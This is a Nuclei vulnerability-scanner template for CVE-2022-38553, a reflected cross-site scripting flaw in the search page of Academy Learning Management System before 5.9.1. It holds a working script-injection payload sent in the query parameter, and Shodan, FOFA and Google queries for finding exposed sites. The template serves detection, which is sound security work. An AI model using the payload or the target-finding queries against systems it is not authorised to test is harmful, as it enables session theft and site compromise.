id: CVE-2022-38553

info:
  name: Academy Learning Management System <5.9.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Academy Learning Management System version 5.9.1 or later to mitigate the XSS vulnerability.
  reference:
    - https://www.youtube.com/watch?v=yFiZffHoeKs&ab_channel=4websecurity
    - https://github.com/4websecurity/CVE-2022-38553
    - https://codecanyon.net/item/academy-course-based-learning-management-system/22703468
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38553
    - http://academy.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38553
    cwe-id: CWE-79
    epss-score: 0.30743
    epss-percentile: 0.96798
    cpe: cpe:2.3:a:creativeitem:academy_learning_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_learning_management_system
    shodan-query: http.html:"study any topic, anytime"
    fofa-query: body="study any topic, anytime"
    google-query:
      - intext:"Study any topic, anytime"
      - intext:"study any topic, anytime"
  tags: cve2022,cve,academylms,xss,creativeitem,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'Study any topic'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a004730450220020c69ca9b3104449371e489ab9ff5af4681c93d1ef6893796b3c8f3584715a0022100cf40a4386387772740af44ef1caa015936c08437c10046b6868f449981831754:922c64590222798bb761d5b6d8e72950